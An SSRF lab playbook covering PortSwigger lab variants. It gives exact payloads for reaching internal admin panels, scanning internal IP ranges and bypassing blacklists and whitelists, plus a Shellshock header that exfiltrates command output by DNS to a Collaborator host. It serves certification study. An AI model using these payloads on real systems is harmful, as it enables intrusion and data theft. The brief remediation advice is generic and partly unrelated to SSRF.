akashrpatil SSRF — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting — these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Basic against local server 🟢 APPRENTICE
POST /product/stock HTTP/1.1
stockApi=http://localhost/admin
Access admin panel via localhost, then delete user: stockApi=http://localhost/admin/delete?username=carlos
Lab 2: Against another back-end 🟢 APPRENTICE
stockApi=http://192.168.0.§1§:8080/admin
Burp Intruder: scan 192.168.0.1-255 on port 8080 to find internal admin.
Lab 3: Blind with out-of-band 🟡 PRACTITIONER
Referer: http://BURP-COLLAB.net
Some apps fetch analytics from Referer URL server-side.
Lab 4: Blacklist-based filter bypass 🟡 PRACTITIONER
stockApi=http://127.1/Admin
# Bypasses: 127.1 (shorthand), Admin (case variation)
# Also try: http://2130706433 (decimal IP), http://017700000001 (octal)
Lab 5: Filter bypass via open redirect 🟡 PRACTITIONER
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
SSRF filter checks stockApi domain. Open redirect on same domain fetches internal URL.
Lab 6: Blind SSRF with Shellshock 🔴 EXPERT
Referer: http://192.168.0.§1§:8080
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).COLLAB.net
Blind SSRF + Shellshock on internal server. Scan internal range, exfiltrate via DNS.
Lab 7: Whitelist-based filter 🔴 EXPERT
stockApi=http://localhost%2523@stock.weliketoshop.net/admin
# URL: localhost#@stock.weliketoshop.net → browser sees stock..., server sees localhost
# Double URL encode: %23 -> %2523
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research Methodology
When a standard technique doesn't work:
- Identify the filter: What chars/patterns are blocked?
- Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
- Fuzz extensively: Use Burp Intruder with custom charset/tag lists
- Chain vulnerabilities: Combine two medium findings into one critical
- Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class